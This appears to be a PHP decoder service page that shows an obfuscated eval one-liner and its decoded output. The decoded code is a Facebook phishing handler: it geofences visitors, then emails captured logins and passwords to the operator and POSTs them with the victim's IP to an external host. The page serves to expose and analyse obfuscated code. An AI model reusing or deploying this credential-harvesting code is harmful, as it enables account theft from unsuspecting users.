Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('lUfdQdswFL6v1Go4iqKmlRp0XFlvhUcCl..

Decoded Output download

$ipnya = $_SERVER['REMOTE_ADDR'];
$url = 'https://freegeoip.live/json/'.$ipnya;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$data = curl_exec($ch);
curl_close($ch);
$getdata = json_decode($data, TRUE);
$country = $getdata['country_code'];
if($country <> "ID") {
    header('location: cgi-sys/defaultwebpage.cgi');
}
$user = $_POST['email'];
$pass = $_POST['password'];
$link_grup= $_POST['linkgrup'];
if($user == "" && $pass == "") {
    header('location: ./');
}
include 'email.php';
$subject = "Setoran Akun { ".$user." }";
$message = '
-=== Akun Facebook ===-
<p>
|>> Ip : '.$ipnya.'
<p>
|>> Email : '.$user.'
<p>
|>> Password : '.$pass.'
<p>
-=== Thanks ===-
';
$headersx  = 'MIME-Version: 1.0' . "
";
$headersx .= 'Content-type: text/html; charset=iso-8859-1' . "
";
$headersx .= ''.$from.'' . "
";
mail($mailto, $subject, $message, $headersx);
$ch = curl_init();
$post_data = 'email='.$user.'&password='.$pass.'&ip='.$ipnya;
curl_setopt($ch, CURLOPT_URL, 'http://hylos.mrslove.com/info.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_POST,1);
curl_exec($ch);
curl_close($ch);
header('location: '.$link_grup);

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('lUfdQdswFL6v1Go4iqKmlRp0XFlvhUcClIbdIBqkV/xZkXrFDkMFx3pZRsbr8CA82ez8RLSt02WRxN/5zt+XZm8ripcZ+GDHsyj4HgW3QRDdnIZEfDGfB86Po37PQZNFE5yCZsomnrdXpFxYoigq1b30nhnBnoPsKpChi0+zhWmKFUl8ddxUGq8QJjmhGhPFGC7Pg+vTszAOovA8OAmDi5PZSBSMIQzOI+Ng5xnP2kPyRArj1lISJW6yUuy15A3blBPnRZBcWw22E0OQFPNxdrp6HGGdBouNUNWuTQ074vEUrMXcGsFYvwf6KnGWy3HolFFxXBE8AbFJLlsyL5erLC35g3yi2U0iDTsm5auRj8mkEvjsZxbeOmWbqbIWlnOM7UvM8YEkbHosFd7E6ySlHwQDGaSrsw7tg3LBYABaPGbcRjHy2soUFnKaWKhYT7SgjlbM0qd0KbguzJrpz5VxGC42KYYXsEOVEUzwdxnmSTKmuzXD0e+5vu+/v9XUq1nIJ0828P6mRLffO6bTfu/nZwoLChN1pwU5O5bIFEQbqyS7trNTmdp52uzMWtqwyPCGaPmqU+re2SOYAmIWN5H7XR8rEQ7QFwcQS2rJHbY+ZJHmXhLMJeYuX0U5AS4fuUrwemwEosgSPcK+b8Q9PPz6zT3YE1JKulfIFjmfOKbLoXrunIyhFVu/NW/qtzbK6A/bR26UMB43815/PL9GetBBkd8pNUPU30zQvy6ifozrNddbXiz1gqF6wldlr+eZeT2FSqQakv/a5oO9eTPXSovobT7TfWp6/dNy/BFo/4/h9/HXT2ebNTr6BQ==')))));
?>

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

None

Stats

MD5 48c0c8496e19107de0ba4c3a09fba6f0
Eval Count 1
Decode Time 74 ms